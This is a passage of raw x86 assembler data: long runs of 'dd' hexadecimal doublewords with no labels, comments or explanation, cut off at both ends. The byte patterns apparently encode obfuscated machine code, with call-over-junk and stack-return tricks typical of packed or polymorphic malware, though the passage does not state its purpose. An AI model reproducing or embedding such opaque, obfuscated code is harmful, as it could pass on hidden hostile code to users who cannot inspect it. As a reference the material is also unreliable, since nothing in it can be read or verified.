15h, 80C35040h, 61B589D4h dd 0C605EA0Ah, 0EA1A4585h, 8D8B5705h, 5EA0A71h, 4520668h dd 2D958B90h, 0FF05EA16h, 0EA1D45B5h, 0E9816605h, 858D19A0h dd 5EA3969h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ch, 39C35040h, 0D3A9B8BEh, 0B6800B92h, 128F0Fh, 0DE90000h dd 53000000h, 0D39EB622h, 917F6E99h, 0C000CEC7h, 32E5BD89h dd 0D0FF05EAh, 0B558D89h, 858905EAh, 5EA1449h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 1EC35141h, 4585C60Ah dd 4305EA1Ah, 13919589h, 286805EAh, 1BC9070h, 0EA02718Dh dd 45B5FF05h, 6A05EA1Dh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 6E6CC355h, 377D6F74h dd 0AD8528E2h, 2E2D8D8Bh, 5EB505EAh, 3969858Dh, 13E905EAh dd 0F9000000h, 3C6240C8h, 543C3375h, 0AC41D346h, 8B8E717h dd 0D0FF016Fh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 0F1C35141h, 6D813BF4h, 8B0C1223h, 0EA0C498Dh, 19858905h dd 8905EA2Eh, 0EA1D4195h, 4585C605h, 4C05EA1Ah, 16259533h dd 0E96805EAh, 66D9DA1Ch, 858CD181h, 1D45B5FFh, 0E85005EAh dd 8, 0B911DBF9h, 0B0635D0h, 850Fh, 595F0000h, 3969858Dh dd 4B205EAh, 9E9D0FFh, 0D1000000h, 2B7EC397h, 75175A38h dd 89CB8B66h, 0EA02A185h, 0C6D18A05h, 0EA1A4585h, 0CA8B4605h dd 32118D8Bh, 146805EAh, 89BADE06h, 0EA00E985h, 45B5FF05h dd 6A05EA1Dh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 0CB80C350h, 0F28166D4h, 858D7675h dd 5EA3969h, 30A5BD89h, 0D0FF05EAh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 14h, 0C1C35545h, 0EE9h, 9DD42700h dd 0C9A2FCAh, 7D21E180h, 8940D2C9h, 0EA059585h, 0FD958B05h dd 0C605EA29h, 0EA1A4585h, 0E2684705h, 8B8A0FB5h, 0EA0D6D8Dh dd 45B5FF05h, 0B905EA1Dh, 3E0214EBh, 3969858Dh, 0B96605EAh dd 8B609570h, 0EA139D8Dh, 358D8B05h, 6105EA14h, 6AD0FFh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 96C05AC3h, 89DE9CB0h, 0EA09D985h, 820F05h, 0C6000000h dd 0EA1A4585h, 6A4705h, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 193F55C3h, 0F3689FC0h, 6A83D0B5h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 14ECC353h, 0BD8B1A1Fh, 5EA0D59h, 1D45B5FFh dd 8C0F05EAh, 3, 8DC88B66h, 0EA396985h, 68D0F05h, 89000000h dd 0EA1419BDh, 0FD0FF05h, 38Bh, 0D38B6600h, 11F18589h dd 953105EAh, 5EA1ECDh, 5130D781h, 85C60067h, 5EA1A45h dd 31EB977h, 0A368305Dh, 0FF397A8h, 68Dh, 89852900h, 0FF05EA1Ah dd 0EA1C8DB5h, 0FD958B05h, 8D05EA28h, 0EA396985h, 66D0FF05h dd 0BE8BD281h, 0C698589h, 0BD2B05EAh, 5EA0FF9h, 1A4585C6h dd 0F4705EAh, 68Dh, 1858900h, 6005EA0Ch, 0CF59529h, 0EA8005EAh dd 0F6686126h, 0E88728FAh, 12h, 0F61C49EEh, 99AF88CFh dd 0F4B7A842h, 0F1E34551h, 0FE91698h, 98000000h, 51AE5A69h dd 70C773BFh, 0B7B0775Ch, 0FF5A798Ch, 0EA1D45B5h, 75958B05h dd 8D05EA03h, 0EA396985h, 818D3305h, 0FF05EA11h, 498D89D0h dd 8905EA0Ch, 0EA332185h, 13E905h, 9B2C0000h, 57E11EF2h dd 0C80E45EAh, 5C5D065Fh, 109415D2h, 4585C64Ch, 4305EA1Ah dd 68F8B70Fh, 0BC8E6EFCh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 26C35040h, 0D631D376h, 0DF813D9Fh, 16FB0792h dd 0CB69C181h, 0B5FF069Bh, 5EA1D45h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 0DFC35545h, 0A50DFE6Fh, 0FE8B664Dh dd 3969858Dh, 12E805EAh, 22000000h, 0DE44CA10h, 0A0627C48h dd 8070DB12h, 0F9347965h, 0D0FF5976h, 19FD958Bh, 858905EAh dd 5EA2501h, 0BAEF8166h, 4585C675h, 4505EA1Ah, 696968FCh dd 810F8E72h, 1, 45B5FFF9h, 6A05EA1Dh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 6F43C353h dd 124EB6D2h, 3969858Dh, 6A05EAh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 180424h, 55450000h, 1E7D94C3h, 0FFF9559Ah dd 0EDB531D0h, 8905EA28h, 0EA2E7D85h, 0C9B52905h, 0C605EA2Ah dd 0EA1A4585h, 800F4405h, 5, 53EA8166h, 0EC6468DBh, 6AB8F2h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 0EB5E57C3h, 0D7E96D97h, 8908FEF0h, 0EA036195h, 45B5FF05h dd 3305EA1Dh, 0EA076D8Dh, 69858D05h, 8905EA39h, 0EA1D8995h dd 60D0FF05h, 0B589F860h, 5EA0BD1h, 0F98B6661h, 1858961h dd 8905EA2Fh, 0EA081D8Dh, 4585C605h, 4305EA1Ah, 14E8h dd 0E1F85500h, 0ECA8E169h, 60267497h, 0A6670C0Fh, 86977E97h dd 0F0BF668Bh, 8B665FC4h, 4AA768D1h, 0F5BFC076h, 0FF2A578Fh dd 0EA1D45B5h, 65958905h, 8D05EA03h, 0EA396985h, 2860F05h dd 8A000000h, 0BD0FFEBh, 0EA1BD995h, 0D858905h, 8905EA23h dd 0EA2CC1B5h, 91BD8005h, 5ED33h, 98840Fh, 4ABA0000h, 0BA631B40h dd 223E8610h, 3373858Dh, 0C7B605EDh, 0F9852950h, 6A05EA19h dd 298D8B01h, 6A05EA14h, 8D295100h, 5EA2BFDh, 6A006A5Ah dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 4F74C351h, 8BBDF2E8h, 0EA1A2995h, 1995FF05h dd 8105EA2Eh, 8DB7B2E7h, 31858948h, 6605EA12h, 0FF6ACB8Bh dd 11E8h, 74A2B000h, 0AC6505C3h, 0B9BD4EBBh, 36DDB934h dd 8051E190h, 5A5907D5h, 1231B5FFh, 8B6605EAh, 4995FFCFh dd 6605EA14h, 0C08BD68Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 19h, 9AC35747h, 1C8BAF8Ah, 59D89B8h, 8305EA31h dd 0EA13D9BDh, 9750005h, 2EE5BD83h, 740005EAh, 8B535019h dd 7D1B8C0h, 85890000h, 5EA0D79h, 0DDF59D8Dh, 0D3FF05ECh dd 0BD83585Bh, 5EA2EE5h, 50177400h, 7D1B853h, 85890000h dd 5EA0D79h, 0DAE49D8Dh, 0D3FF05ECh, 0D38B585Bh, 68B0Fh dd 8D0B0000h, 5EA2599h, 5810Fh, 60BA0000h, 8B5492C0h, 0FEB70FC0h dd 1A4585C6h, 0F4705EAh, 38Bh, 0C9B70F00h, 0C8F7C168h dd 91BD8993h, 0FF05EA0Ah, 0EA1D45B5h, 0EE805h, 81290000h dd 84607553h, 0AAE81757h, 0F814F799h, 1C699589h, 8D5905EAh dd 0EA396985h, 8D8D2B05h, 8B05EA2Eh, 0EA20D98Dh, 66D0FF05h dd 0E950CA8Bh, 0Dh, 35E14C58h, 0A148095Dh, 13E7D8F0h, 0B4858D2Ah dd 0E905ED37h, 0Ah, 26F904B4h, 21208993h, 0C7E28Eh, 94h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 6AC35040h dd 9EB87DF6h, 109D07Dh, 0EA2ACD95h, 66F55805h, 0B58DD38Bh dd 5ED37B4h, 815653B6h, 141DFFDFh, 0B1D0FF30h, 0B4858D87h dd 6A05ED37h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 8C2CC355h, 1FFD3DDCh dd 14E9554Dh, 0BB000000h, 8287E4D3h, 6D3AB33Dh, 78A66ECEh dd 0ABDE39E6h, 8344EFEEh, 0F060478h, 3985h, 85C7F900h dd 5ED3848h, 1, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 17h, 98C35545h, 0E9CC8138h, 0Ah, 2A6AA34Fh, 0ACB75034h dd 0BD83072Dh, 5EA2AF9h, 76850F00h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h dd 0FEBCC350h, 6C71713Ch, 48BD833Ch, 5ED38h, 47850Fh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 999BE9C3h, 8375B326h, 0EA1A75BDh, 840F0005h, 19h, 5E9h dd 0E7344F00h, 8B66C54Fh, 0B585C7CAh, 5EA02h, 0B5000000h dd 0DB8C663Ah, 15C2F181h, 0BD8B6C3Ch, 5EA13E5h, 0F04C3F6h dd 4EB84h, 7BED8000h, 2D185C7h, 5EAh, 0BD8B0000h, 5EA0EA9h dd 0E19D2960h, 0F05EA09h, 685h, 0D18D8B00h, 6105EA1Dh dd 339EBD80h, 0F0005EDh, 85h, 4585C600h, 4705EA1Ah, 0EA98D8Bh dd 866805EAh, 89E3E45Bh, 0EA2CA585h, 45B5FF05h, 8B05EA1Dh dd 69858DCEh, 6A05EA39h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 0E50FC351h, 0D2802BDFh dd 8BD0FF93h, 0EA2BB1BDh, 1046805h, 85890000h, 5EA0C01h dd 1EFD9D8Dh, 10E905EAh, 1A000000h, 99003DD1h, 0DEC3B78Dh dd 15B0850Dh, 53A5CC6Ah, 0EE8h, 8DE8400h, 68C1E445h, 5BEC4CD5h dd 663ADDD5h, 303AD781h, 0FD0FF5Fh, 0F81h, 0AE900h, 57A20000h dd 0B031C5B5h, 0C8F97E21h, 1EFD858Dh, 0F6005EAh, 0B589F0BFh dd 5EA0235h, 0BD335061h, 5EA32F5h, 0FE96060h, 20000000h dd 0EB251DE8h, 291E2A74h, 9D451378h, 81664071h, 613450E6h dd 2D51B58Bh, 8D6105EAh, 0ED335085h, 0A1CA8105h, 5021129Ah dd 68D0Fh, 95330000h, 5EA101Dh, 2A23858Dh, 0CD8005EDh dd 9589505Ah, 5EA06E9h, 0C6995FFh, 0B58905EAh, 5EA1705h dd 800CC483h, 6A77F2h, 8068h, 6A036A00h, 68006A00h, 80000000h dd 2A23858Dh, 0FF5005EDh, 0EA250195h, 33858905h, 0C605ED33h dd 0EA1A4585h, 87684705h, 0FFC7B15Eh, 0EA1D45B5h, 69858D05h dd 0FF05EA39h, 0FF006AD0h, 0ED3333B5h, 29D0FF05h, 0EA32FDB5h dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h dd 0C3554500h, 0BBC53706h, 5E14ED81h, 0E32BA66h, 37D03Dh dd 2F830F00h, 0F000000h, 686h, 798D8B00h, 0FF05EA2Bh, 0ED3333B5h dd 51958905h, 0FF05EA20h, 0EA230D95h, 0D3E905h, 8D0F0000h dd 6, 10A58D03h, 0B5FF05EAh, 5ED3333h, 2EC5BD8Bh, 0B70F05EAh dd 0D95FFFBh, 2905EA23h, 0EA16B58Dh, 0E9006A05h, 12h, 489CFFDh dd 6178B73Ch, 4371DE9Fh, 0B1BB1543h, 6A2E9Fh, 59D9D01h dd 6A05EAh, 0CB9BD8Bh, 6A05EAh, 13E8h, 0E03DF100h, 0FDB0BD8Fh dd 6DD08154h, 30F84E3Ch, 557F12BCh, 6FF28166h, 6A59BBh dd 1D8D8960h, 0F05EA00h, 6A61CFB7h, 0D9950900h, 8D05EA11h dd 0ED333785h, 7E905h, 1EA20000h, 0C2A9F9D1h, 0AE8E6h dd 58A30000h, 0B93FB571h, 0F59C5DC6h, 2BD98529h, 505F05EAh dd 2989BD8Bh, 95FF05EAh, 5EA2501h, 8299D89h, 0F88305EAh dd 3F850FFFh, 60000001h, 958B8DB7h, 5EA154Dh, 3858D61h dd 6A05ECEAh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 0E374C350h, 9D0FFD6h, 0EA255D8Dh dd 8E85305h, 75000000h, 5B94CF0h, 80612573h, 5F5FA3EAh dd 8589006Ah, 5EA19DDh, 8D0F006Ah, 6, 2AD8D2Bh, 6A05EAh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0EDC35646h dd 6AD55Fh, 2167FEB9h, 89006A5Dh, 0EA304595h, 29006A05h dd 0EA25BD9Dh, 37858D05h, 5005ED33h, 16A5BD29h, 95FF05EAh dd 5EA2501h, 0CE8h, 0FA312F00h, 2C75A799h, 8E5C5918h, 81B589B7h dd 5905EA20h, 16F1BD33h, 0F88305EAh, 6F850FFFh, 60000000h dd 1699850Bh, 0FE905EAh, 3D000000h, 84AD59BBh, 6ECCA542h dd 101E5394h, 8D61B216h, 0ED2D3FB5h, 48E2BA05h, 858D19D3h dd 5ECD7DFh, 1615B589h, 0D0FF05EAh, 15BD0B57h, 5F05EA0Fh dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 0E148C9C3h, 0FC915D9h, 95FFD7B7h, 5EA2E7Dh dd 3261BD89h, 858905EAh, 5ED3333h, 6AF98Bh, 14E850h, 0CA850000h dd 4EE4ECA7h, 3BF6B0D0h, 5668EC6Bh, 235E9FE1h, 0B5315735h dd 5EA0081h, 8D8B5F5Ah, 5EA1CCDh, 332B858Dh, 8E0F05EDh dd 11h, 0D7816660h, 5E99B41h, 2E000000h, 0F94D7B18h, 10E95061h dd 0C8000000h, 0B3C95CA2h, 0CD686906h, 0DB960D29h, 6A79A334h dd 0C6E5B904h, 0F98B00F6h, 0F5858Dh, 0BD3105EAh, 5EA07F5h dd 8B006A50h, 0EA2ED18Dh, 6A006A05h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 6A5BC352h dd 0BD8B1C92h, 5EA024Dh, 8D89016Ah, 5EA2E9Dh, 3333B5FFh dd 8B6605EDh, 195FFCFh, 6A05EA2Fh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0B75FC351h dd 5D8F12B9h, 1C47E918h, 8D030000h, 5EA0861h, 83F8C08Bh dd 0EA13D9BDh, 9750005h, 2EE5BD83h, 740005EAh, 8B535019h dd 7D2B8C0h, 85890000h, 5EA0D79h, 0DDF59D8Dh, 0D3FF05ECh dd 0BD83585Bh, 5EA2EE5h, 50177400h, 7D2B853h, 85890000h dd 5EA0D79h, 0DAE49D8Dh, 0D3FF05ECh, 8589585Bh, 5EA2CA9h dd 54F3B966h, 10E9C08Bh, 0B2000000h, 0F0340A06h, 0FBF88F75h dd 5DC9FE13h, 0C7BCE135h, 0EA02D185h, 105h, 5DBD8B00h dd 0F05EA1Ah, 8Dh, 0E7B86800h, 0B5FFCEE4h, 5EA2B19h, 3969858Dh dd 0D0FF05EAh, 1A598589h, 0D46805EAh, 0FFC005DBh, 0EA2B19B5h dd 69858D05h, 0FF05EA39h, 0CD8589D0h, 8D05EA13h, 0ED27DC85h dd 0B5FF5005h, 5EA1D45h, 9D995FFh, 0C00B05EAh, 0D88B0B74h dd 378F858Dh, 0FF5005EDh, 8F858DD3h, 6605ED37h, 75093883h dd 0DD85C70Ah, 105EA15h, 0FF000000h, 0EA332195h, 0FF2505h dd 0F8830000h, 0C70A7305h, 0EA32A585h, 105h, 13E900h, 813C0000h dd 2A8864E8h, 3023EB6Ah, 0CB2266B1h, 4FEA812Eh, 14E8608Eh dd 54000000h, 29AE22DBh, 0EF108D68h, 2FC19596h, 46F5B6EBh dd 8B1D1952h, 0EA2EA19Dh, 0CE815B05h, 7982AD89h, 9EBD8061h dd 5ED33h, 32850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 0B6A3BBC3h, 8A615DDDh dd 8B1248C4h, 1ABFE9CAh, 0BD8B0000h, 5EA0AD1h, 15DDBD83h dd 0F0005EAh, 0C785h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 6229D882h, 0F0CFEECBh dd 52D38B06h, 0D8D8BA66h, 68858D5Ah, 0E905ED33h, 0Dh, 9B0645B2h dd 52C0B6FCh, 0B14A3D03h, 0B5895078h, 5EA138Dh, 6AC88B66h dd 8715BA01h, 6A4195h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 9AC35545h dd 7E16E63h, 8F0F006Ah, 6, 0AC19D89h, 95FF05EAh, 5EA2E19h dd 8589F48Ah, 5ED3392h, 47D78166h, 8BFF6A98h, 0EA312595h dd 92B5FF05h, 8905ED33h, 0EA1CE585h, 4995FF05h, 0F05EA14h dd 0F84h, 7E800h, 0F5A90000h, 1C03E34Fh, 5ACB8B70h, 27A3858Dh dd 50F805EDh, 31F8BF0Fh, 0EA079D95h, 0A195FF05h, 8905EA02h dd 0EA2B219Dh, 2D858905h, 905ED28h, 0EA0A6995h, 0B0858D05h dd 8905ED27h, 0EA0B119Dh, 0D0BF0F05h, 0EE950h, 58470000h dd 73082C05h, 56F2633Eh, 68DAD2CBh, 282DB5FFh, 0FFF805EDh dd 0EA09D995h, 8589F505h, 5EA2AA9h, 1219958Bh, 858D05EAh dd 5ED281Eh, 8E8h, 7D824700h, 0A51BB3ACh, 6BF2818Bh, 5A6CD40Bh dd 56006A50h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 0FEB967ACh, 0FF281DF9h, 0ED282DB5h, 53006A05h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 681DFD5Bh, 0D995FF21h, 0E905EA09h, 0Bh, 9E0B003Fh, 440664EEh dd 897DA98Ah, 0ED284185h, 0D1BD2B05h, 8D05EA2Ch, 0ED27FD85h dd 0DDB58905h, 6005EA25h, 0D7816651h, 0E85FABB3h, 11h dd 5E78AEE3h, 0B0162E06h, 7D8DAF1Ch, 19F0E81Dh, 14E9E3h dd 0ECAE0000h, 1856411Dh, 22118253h, 0A73ECFFCh, 0D8C74B40h dd 615E59B4h, 2DB5FF50h, 8B05ED28h, 0EA0EB18Dh, 0D995FF05h dd 0F05EA09h, 8589FABFh, 5ED2839h, 0F0858DF9h, 5005ED27h dd 6870Fh, 958B0000h, 5EA0219h, 0D9815059h, 23A33F00h dd 282DB5FFh, 6A05EDh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1C0424h, 52420000h, 0CCCF7AC3h, 0E252F918h, 8960CAF5h dd 0EA05AD9Dh, 61C38A05h, 9D995FFh, 0F28105EAh, 496D4913h dd 283D8589h, 8E805EDh, 6D000000h, 68A25CCDh, 663CEABCh dd 8D5FD08Bh, 0ED280B85h, 6A50F805h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 1487C351h dd 3CBAFA88h, 51958B6Dh, 6005EA08h, 8F62CA81h, 6E90A3Eh dd 29000000h, 93EDC6C9h, 0B5FF61BEh, 5ED282Dh, 1E19BD89h dd 95FF05EAh, 5EA09D9h, 10F58D03h, 0AABF05EAh, 89480AF4h dd 0EA2C7585h, 858DFC05h, 5ED27BFh, 0CF816656h, 505AED29h dd 2DB5FFFCh, 6005ED28h, 8E8h, 814EF700h, 56F6D50Ah, 665BF5F7h dd 71C5DA81h, 95895361h, 5EA2BD9h, 0D995FF5Fh, 2905EA09h dd 0EA10418Dh, 31858905h, 8A05ED28h, 0CE858DCEh, 8905ED27h dd 0EA3119B5h, 509FB605h, 1259D09h, 0B5FF05EAh, 5ED282Dh dd 0CE9h, 87F17800h, 0C4E57209h, 47C6D3DDh, 0D995FFBFh dd 6A05EA09h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 17042444h, 43000000h, 0D7EAC353h, 6651E27Bh, 895AD38Bh dd 0ED283585h, 9CBF6605h, 10468ACh, 840F0000h, 6, 0D1C2E781h dd 858D640Eh, 5ED28C5h, 84D98166h, 0BF0F50F3h, 0C9858DD7h dd 8105ED29h, 0E6370CD9h, 6A500Ah, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 0FC9E74C3h, 11F195FFh dd 13BF05EAh, 8550962Dh, 25850FC0h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 0D8A4C355h, 9C172B6Bh, 0C6B158B7h, 339EBD80h, 0F0005EDh dd 0D85h, 0F1850900h, 0E905EA32h, 167Dh, 0BD83FB8Bh, 5EA15DDh dd 22850F00h, 60000000h, 31F18D89h, 8B0F05EAh, 1, 0BD8361F8h dd 5ED3848h, 60840F00h, 0F000000h, 0B70FFEBFh, 62858DFAh dd 6A05ED28h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 0F72C351h, 9527608Eh, 0C05AE358h dd 161CE9h, 0C59D8900h, 0E905EA15h, 2Bh, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 17h, 63C35646h, 8D87C417h dd 0ED284D85h, 15958B05h, 5005EA16h, 0C5858DF9h, 0B505ED28h dd 840F5025h, 6, 1C219503h, 0BD8305EAh, 5EA15DDh, 5B840F00h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 6E5CC351h, 90BBAE24h, 29EB858Dh dd 0C98105EDh, 68307F40h, 3BE9h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 81BD9607h dd 40FADEE1h, 0B5C8B901h, 858D5A37h, 5ED29D4h, 2AA5BD09h dd 858905EAh, 5EA0621h, 89BD2950h, 905EA0Eh, 0EA1135BDh dd 23858D05h, 5605ED2Ah, 0B4D9531h, 505905EAh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 54C35040h, 0E9DA5D4Ch dd 14C9BD89h, 816605EAh, 0FFB33FF1h, 0EA0C6995h, 11E805h dd 0F17B0000h, 71FE0BA0h, 0C4614F63h, 1FDF3999h, 8932187Fh dd 0EA0C3D85h, 0C4835905h, 7E910h, 0F850000h, 79A96E5Bh dd 6AC08BE0h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 0F1AEC355h, 8D89607Dh, 5EA1635h dd 1890Fh, 61F80000h, 13D9BD83h, 750005EAh, 0E5BD8309h dd 5EA2Eh, 53501974h, 0D3B8C08Bh, 89000007h, 0EA0D7985h dd 0F59D8D05h, 0FF05ECDDh, 83585BD3h, 0EA2EE5BDh, 17740005h dd 0D3B85350h, 89000007h, 0EA0D7985h, 0E49D8D05h, 0FF05ECDAh dd 0E8585BD3h, 0Dh, 0CA7BBF89h, 327EB85Dh, 6F9C6FADh, 0D5BD89B5h dd 5A05EA0Dh, 958BC08Bh, 5EA0C21h, 284DBD81h, 726F05EDh dd 840F6165h, 0ACh, 2C7D8D8Bh, 858D05EAh, 5ED28C5h, 2858D50h dd 5005ED2Ah, 2A23858Dh, 0FF5005EDh, 0EA0C6995h, 0CC48305h dd 1A4585C6h, 684405EAh, 96A3184Fh, 1D45B5FFh, 858D05EAh dd 5EA3969h, 0D88BD0FFh, 2A23858Dh, 0FF5005EDh, 4D858DD3h dd 5005ED28h, 28C5858Dh, 835005EDh, 0EA15DDBDh, 8740005h dd 29EB858Dh, 6EB05EDh, 29D4858Dh, 8D5005EDh, 0ED2A2385h dd 95FF5005h, 5EA0C69h, 6A10C483h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 505DC350h dd 2BD18589h, 0F5905EAh, 38Eh, 0FB8B6600h, 332195FFh, 25F805EAh dd 0FFh, 0EE8h, 0B6A91500h, 8953158Bh, 0A7D01BE0h, 0FD28372h dd 335ACEBFh, 0EA2319BDh, 5F88305h, 30830Fh, 958B0000h dd 5EA32ADh, 32A585C7h, 105EAh, 81660000h, 8B4E3FE1h, 0EA1D31BDh dd 81858D05h, 0B105ED28h, 9BE970h, 0DBB50000h, 0C65BD89h dd 0BD8305EAh, 5EA15DDh, 71840F00h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 0E91CC350h, 13h, 3E40FC8h, 706143EFh, 369C88D6h, 89128E11h dd 0B2397E61h, 0AC858D7Fh, 6A05ED28h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 892BC350h dd 81668608h, 0E9CEA6C2h, 21h, 6870Fh, 9D890000h, 5EA0735h dd 288E858Dh, 8B6005EDh, 0EA2EA195h, 0CCB85005h, 594373E7h dd 0C1858961h, 0F505ED28h, 15DDBD83h, 0F0005EAh, 3785h dd 0DE800h, 0E7F10000h, 0F9234222h, 0ABB545BBh, 0F9F1F3Fh dd 68Fh, 59D8900h, 5A05EA03h, 3848BD83h, 0F0005EDh, 1384h dd 0B1953100h, 0B905EA07h, 25E57EC9h, 1240E9h, 0CE8B6600h dd 487E9h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h dd 0C3554500h, 0ED0B85D6h, 72A449C6h, 8166C08Bh, 83F435DFh dd 0EA13D9BDh, 9750005h, 2EE5BD83h, 740005EAh, 8B535019h dd 7D4B8C0h, 85890000h, 5EA0D79h, 0DDF59D8Dh, 0D3FF05ECh dd 0BD83585Bh, 5EA2EE5h, 50177400h, 7D4B853h, 85890000h dd 5EA0D79h, 0DAE49D8Dh, 0D3FF05ECh, 0B509585Bh, 5EA2D31h dd 98BBC981h, 0C08B0733h, 0EFDBD8Bh, 3F6805EAh, 3000F00h dd 0EA00E9BDh, 0B6006A05h, 0BA006AC1h, 5DCAC327h, 2AA995FFh dd 0B96605EAh, 0BD296A0Fh, 5EA1455h, 850FC085h, 23h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0DCC35343h, 0E8B9A8D5h dd 89004767h, 0ED284585h, 14E905h, 0D6C80000h, 6AE328D0h dd 9264FAEAh, 0AC85F146h, 0EBC85ADBh, 6AD749h, 6A97EE80h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h dd 0C3564600h, 0B6579D3Bh, 661D3FB9h, 5E8DE981h, 11E9006Ah dd 59000000h, 0F8769D68h, 1150FE88h, 548BE7C0h, 6ECAB287h dd 6652006Ah, 6A59CA8Bh, 0C2D28000h, 2A23858Dh, 8D0F05EDh dd 2, 8950CF8Ah, 0EA2BB185h, 16AF805h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 16C35242h, 0DFACD4Bh, 0FFFB7E9h dd 681h, 0C1958B00h, 6A05EA13h, 16AF901h, 30D8589h, 0FF6805EAh dd 6A000F01h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 18042444h, 41000000h, 51ECC351h, 51A67F8Dh, 5FCBBF0Fh dd 15DDBD83h, 0F0005EAh, 1984h, 0E1958B00h, 8D05EA2Bh dd 0ED28A285h, 0E9950B05h, 0E905EA13h, 0Eh, 858DD58Ah dd 5ED2878h, 152D8531h, 6A5005EAh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 28C352h dd 3BBCA79Ah, 8950AE09h, 0EA2C69BDh, 45B5FF05h, 8B05ED28h dd 3195FFD1h, 6605ED28h, 8529C88Bh, 5EA0AC9h, 850FC085h dd 3Eh, 148F0F60h, 0E9000000h, 0Fh, 0D0209206h, 16BD2DB2h dd 2F8F6245h, 0E8B2A489h, 0Fh, 8C0BFE45h, 0ABD1406Dh, 6AA2567Bh dd 57198D93h, 0E9615F59h, 8Bh, 11F58D8Bh, 858905EAh, 5ED2849h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 4FC35343h dd 0AA95E9ABh, 0C78C25A4h, 5FD0B983h, 0B5FF0C04h, 5ED2849h dd 0C800Fh, 29600000h, 0EA08858Dh, 2BBF6605h, 95FF615Fh dd 5EA2C75h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ch, 5BC35747h, 977028C7h, 0C63E0C98h, 29618D0Bh, 0C08505EAh dd 5850Fh, 81660000h, 6A1903C2h, 0AE910h, 25FA0000h, 6D3ED502h dd 0AFA788Ah, 15DDBD83h, 0F0005EAh, 3C84h, 0C8BF0F00h dd 1E958D33h, 858D05EAh, 5ED28A2h, 15B9958Bh, 2EE905EAh dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 3588C355h, 0BF0F4B2Eh, 78858DFFh dd 8905ED28h, 0EA111195h, 0BF0F5005h, 45B5FFD2h, 6A05ED28h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h dd 46000000h, 0FD06C356h, 68B15A5Ah, 39DDBAA5h, 283D95FFh dd 6A05EDh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h dd 51410000h, 0DEB289C3h, 6983BF66h, 850FC085h, 13h, 0D1BD8B60h dd 0BE05EA20h, 43CDC81Fh, 0B5852961h, 8905EA24h, 0ED284985h dd 0C1958B05h, 